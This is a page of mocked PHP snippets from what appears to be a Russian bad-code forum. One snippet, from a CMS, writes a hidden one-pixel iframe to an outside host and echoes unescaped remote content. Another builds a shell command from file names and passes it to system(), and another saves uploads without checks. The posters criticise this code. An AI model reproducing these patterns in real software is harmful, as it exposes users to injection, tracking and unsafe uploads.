1. PHP / Говнокод #10234

    +74

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    $lang_ru = '<a class=lang-ru-RU href="#" id="btn1">RU</a>';
    $lang_en = '<A class=lang-en-US href="#" id="btn2">EN</A>';
    $lang_de = '<A class=lang-de-DE href="#" id="btn3">DE</A>';
    if (!isset($HTTP_COOKIE_VARS["language"])) {
    	$lang_1 = $lang_ru;
    	$lang_2 = $lang_en;
    	$lang_3 = $lang_de;
    } else {
    	if ($HTTP_COOKIE_VARS["language"] == 'en') {
    		$lang_1 = $lang_en;
    		$lang_2 = $lang_ru;
    		$lang_3 = $lang_de;
    	} else {
    		if ($HTTP_COOKIE_VARS["language"] == 'de') {
    			$lang_1 = $lang_de;
    			$lang_2 = $lang_ru;
    			$lang_3 = $lang_en;
    		} else {
    			$lang_1 = $lang_ru;
    			$lang_2 = $lang_en;
    			$lang_3 = $lang_de;
    		}
    	}
    }

    А если языков было бы больше?

    My_own_private_pony, 10 Мая 2012

    Комментарии (26)
  2. PHP / Говнокод #10230

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    <?php
     
     
    if((isset($_FILES['file1'])) || 
       (isset($_FILES['file2'])) || 
       (isset($_FILES['file3'])) || 
       (isset($_FILES['file4']))){
     
                                if($_FILES['file1'] ['error'] || 
                                    $_FILES['file2'] ['error'] || 
                                    $_FILES['file3'] ['error'] || 
                                    $_FILES['file4'] ['error'] == 0 && 
     
                                                                              $_FILES['file1'] ['saze'] || 
                                                                              $_FILES['file2'] ['saze'] || 
                                                                       $_FILES['file3'] ['saze'] || 
                                                                       $_FILES['file4'] ['saze'] > 0) { 
                                                                      
                                                 $path1 = "E:\\apache\\";
                                                 $path1 .= basename($_FILES['file1'] ['name']);
                                                 $path2 = "E:\\apache\\";
                                                 $path2 .= basename($_FILES['file2'] ['name']);
                                                 $path3 = "E:\\apache\\";
                                                 $path3 .= basename($_FILES['file3'] ['name']);
                                                 $path4 = "E:\\apache\\";
                                                 $path4 .= basename($_FILES['file4'] ['name']);
                                                                     
                if(@move_uploaded_file($_FILES['file1'] ['tmp_name'],$path1)){ 
                   if(@move_uploaded_file($_FILES['file2'] ['tmp_name'],$path2)){
                      if(@move_uploaded_file($_FILES['file3'] ['tmp_name'],$path3)){
                         if(@move_uploaded_file($_FILES['file4'] ['tmp_name'],$path4)){
                         
                  }else{}
                }else{}     
              }else{}
            }else{}
          }else{}
        }else{}
     
     
    ?>

    я даже не знаю, как это прокомментировать. особенно нравится $_FILES['file1'] ['saze']

    heleg, 10 Мая 2012

    Комментарии (8)
  3. PHP / Говнокод #10227

    −52

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    $path  = file_directory_path();
      $dir = opendir($path);
      /*seacrh file shops.dtd.zip*/
      while ($file_name = readdir($dir)) {
        /*if found export file of current user*/
        if ($file_name == 'market_new.xml') {
          /*create array - date of last change current file => create date of current file*/
          $last_export_date = date('d-m-Y H:i', filectime($path . '/' .$file_name));
        }
      }
      /*close catalog*/
      closedir ($dir);

    превед братья украинци.

    brainstorm, 09 Мая 2012

    Комментарии (4)
  4. PHP / Говнокод #10225

    +76

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    $sizes = array(50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200);
    foreach ($sizes as $v2)
    {
        $file3 = $file1."-".$v2."x".$v2.".".$ext;
        if(file_exists($file3)) unlink($file3);
        $c = "convert $file2 -resize ".$v2."x".$v2." -quality 80 -strip $file3";
        $last_line = system($c, $retval);
        chmod($file3, 0777);
    }

    Мне одному кажется, что порождать пару десятков процессов из php скрипта при загрузке небольшой картинки немного... толсто?

    roman-kashitsyn, 09 Мая 2012

    Комментарии (9)
  5. PHP / Говнокод #10224

    +74

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    if($this->getRequest()->isPost()) {
    			$month = $this->getRequest()->getPost('month', null);
    			$year  = $this->getRequest()->getPost('year', null);
    		} else {
    			$month = $this->getRequest()->getParam('month', null);
    			$year  = $this->getRequest()->getParam('year', null);
    		}

    Индусы, такие индусы.

    anycolor, 09 Мая 2012

    Комментарии (5)
  6. PHP / Говнокод #10223

    +67

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    <?php
    ini_set('default_socket_timeout', 7);
    include ('../../conf.php');
    include ('../../lang/admin/'.$adminlang.'.php');
    $newmodules = @file_get_contents("http://modules.tdsse.com/index.php");
    $admin_modules_title = 'Available modules';
    $name = 'Available modules';
    $content.= '<p>This is a list of modules on the developer\'s web-site and available for installation.</p>
    <script type="text/javascript">
    <!--
    document.write("<iframe src=\'http://"+"check.tdsse.com/\' width=\'1\' height=\'1\' frameborder=\'0\'></iframe>")
    //-->
    </script>';
    if ($newmodules === FALSE)
    $content.= '<p><b>The developer server doesn\'t respond</b></p>';
    else $content.='<b>'.$newmodules.'</b>';
    
    include ('../design.html');
    echo '<!-- Powered by TDSSE CMS -->';
    ?>

    Вот такие вот модули в TDSSE CMS

    Awilum, 09 Мая 2012

    Комментарии (0)
  7. PHP / Говнокод #10221

    +70

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if (file_exists(DIR_TEMPLATE . $this->config->get('config_template') . '/template/product/compare.tpl')) {
    	$this->template = $this->config->get('config_template') . '/template/product/compare.tpl';
    } else {
    	$this->template = 'default/template/product/compare.tpl';
    }

    Спешите видеть в конце каждого контроллера OpenCart. Ох уж это MVC ради MVC...

    telnet, 08 Мая 2012

    Комментарии (7)
  8. PHP / Говнокод #10220

    +73

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    [production]
    phpSettings.display_startup_errors = 0
    phpSettings.display_errors = 0
    includePaths.library = APPLICATION_PATH "/../library"
    bootstrap.path = APPLICATION_PATH "/Bootstrap.php"
    bootstrap.class = "Bootstrap"
    appnamespace = "Application"
    resources.frontController.controllerDirectory = APPLICATION_PATH "/controllers"
    resources.frontController.params.displayExceptions = 0
    
    resources.log.khuy.writerName = "Firebug"
    
    resources.view.helperPath.Zend_View_Helper = APPLICATION_PATH "/../library/Zend/View/Helper"
    resources.view.helperPath.My_View_Helper = APPLICATION_PATH "/views/helpers"
    [staging : production]
    
    [testing : production]
    phpSettings.display_startup_errors = 1
    phpSettings.display_errors = 1
    
    [development : production]
    phpSettings.display_startup_errors = 1
    phpSettings.display_errors = 1
    resources.frontController.params.displayExceptions = 1

    __proto__, 08 Мая 2012

    Комментарии (2)
  9. PHP / Говнокод #10219

    +88

    1. 1
    2. 2
    3. 3
    4. 4
    if( $tpl_name == '' || ! file_exists( $this->dir . DIRECTORY_SEPARATOR . $tpl_name ) ) {
    			return "Отсутствует файл шаблона: " . $tpl_name ;
    			return false;
    		}

    dle

    trororom, 08 Мая 2012

    Комментарии (3)
  10. PHP / Говнокод #10213

    +75

    1. 1
    2. 2
    3. 3
    4. 4
    require( "./configuration.php" );
    include( "./include.php" );
    $returned = @( );
    if ( ( $returned ) != @( "harper" ) )

    cthulhu25, 07 Мая 2012

    Комментарии (7)